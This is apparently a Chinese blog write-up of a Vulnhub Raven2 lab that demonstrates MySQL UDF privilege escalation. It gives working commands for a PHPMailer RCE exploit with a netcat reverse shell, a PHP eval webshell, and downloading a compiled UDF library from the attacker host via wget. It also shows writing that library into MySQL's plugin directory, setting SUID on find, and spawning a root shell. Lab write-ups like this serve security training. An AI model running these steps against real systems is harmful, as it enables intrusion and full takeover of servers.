MySQL之UDF提权复现

什么是UDF:

UDF(Userfined function)用户自定义函数,是MySQL的一个扩展接口,用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用。

提权条件:

  • 知道MySQL用户名和密码,可以登录
  • MySQL有写入文件权限,即 secure_file_priv 的值为空

注意:使用 UDF 提权是在获取到 webshell 的前提下,获取到的用户只是网络服务权限 www 或其他普通用户,我们可以利用 mysql 的 UDF 提权获取到管理员权限。

如何使用UDF提权

  • MySQL版本 >= 5.1版本:udf.dll(udf.so)文件必须放置于MySQL安装目录下的 lib\plugin 文件夹下

  • MySQL版本 < 5.1版本:udf.dll 文件放置于 c:\windows 或者 c:\system32

如果目录不存在则利用 NTFS 数据流创建文件目录

udf提权可以用于 windows 系统(udf.dll)也可以用于linux平台(udf.so)。但 udf 提权基本上用于 windows 系统,linux系统中 mysql版本 < 5.1 udf.so 该放哪里网上查找也没有得到结果。

靶场复现

通过 vulnhub 下载靶场镜像

靶机地址:https://download.vulnhub.com/raven/Raven2.ova

  • 攻击机kali(192.168.111.129)
  • 靶机Raven2(192.168.111.132)
信息收集

nmap扫描端口开放情况

 nmap 192.168.111.132 -sV -p- -Pn

在这里插入图片描述
发现开放了22,80,111,58686端口,操作系统为Linux。

访问80端口:
在这里插入图片描述
dirsearch 扫描一下目录:
在这里插入图片描述
发现靶机是 wordpress (可以用wpscan扫描有没有wordpress漏洞)。

此外还发现另外一个目录/vendor目录,访问目录发现存在信息泄露

在这里插入图片描述
通过 README.md 文件得知为 phpmailer,百度 phpmailer 知道是一个php发送邮件的程序,且版本小于 5.2.18 存在漏洞远程命令执行漏洞,查看当前 version 版本为 5.2.16
在这里插入图片描述

phpmailer漏洞利用

使用 python 脚本,复制脚本到桌面,将 target 改为目标IP,后面拼接 contact.php(该文件应该是PHPMailer服务接口),backdoor 为生成的后门文件,payload 改为 kali 的 ip 和监听的端口,email那把路径改为目标的网站根目录,可以在 /vendor/PATH 中找到。
在这里插入图片描述
修改完成后执行。

 python 40974.py  

在这里插入图片描述
先开启 nc 监听接收shell,然后浏览器访问生成的后门文件,终端回显,getshell成功。(这里后门文件名应该有限制,默认生成不了,改为1.php后成功了)
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
执行 whoami 发现为 www-date 权限

使用 python 执行交互式 shell

python -c 'import pty;pty.spawn("/bin/bash")'

也可以写一句话用菜刀蚁剑连接方便操作

echo '<?php @eval($_POST['s']);?>' >2.php

进入wordpress目录内查看wp的配置文件wp-config.php,发现数据库用户名与密码。
在这里插入图片描述
账号 root,密码 R@v3nSecurity

使用得到的用户名密码登录mysql

mysql -uroot -pR@v3nSecurity

在这里插入图片描述
在user表中发现了其他用户名与密码,但是加密的密码没有破解出来。所以换个思路尝试下UDF提权。

MySQL-UDF提权利用

首先查找漏洞,并下载漏洞利用脚本1518.c

searchsploit udf

searchsploit udf -m 1518.c

在这里插入图片描述
下载 udf 提权脚本,在 kali 使用 gcc 编译成 Linux 所需 udf 提权的so文件。

gcc -g -c 1518.c

gcc -g -shared -o 1518.so 1518.o

将编译后的1518.so上传到靶机 /tmp 目录内。

python3 -m http.server 8888 

wget 192.168.111.129:8888/1518.so

在这里插入图片描述
登录 mysql 切换数据库 wordpress 并创建新表 foo。

create table foo(line blob); #创建数据表

insert into foo values(load_file('/tmp/1518.so')); #读取 1518.so 并将其保存在表foo中

select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
#查询刚才添加的数据,保存到/usr/lib/mysql/plugin/1518.so文件(mysql存放自定义函数的地方)

create function do_system returns integer soname '1518.so';
#加载 1518.so 函数文件用来创建自定义函数,类型是integer,soname 别名 

select * from mysql.func; #查询函数是否创建成功

select do_system('chmod u+s /usr/bin/find'); #调用自定义函数do_system赋予find命令suid权限。

在这里插入图片描述

select do_system('chmod u+s /usr/bin/find'); #调用自定义函数do_system赋予find命令suid权限。

在这里插入图片描述
准备工作完成后退出数据库,使用find命令进行提权。

mysql> quit
​
find / -exec "/bin/sh" \;
#find /:从根目录开始查找。
#-exec:表示对找到的每个文件执行后面的命令。
#"/bin/sh":这是要执行的命令,即启动一个新的 shell 实例。
#\;:表示 -exec 命令的结束。

在这里插入图片描述
根据结果可以看到提权成功

  • 6
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值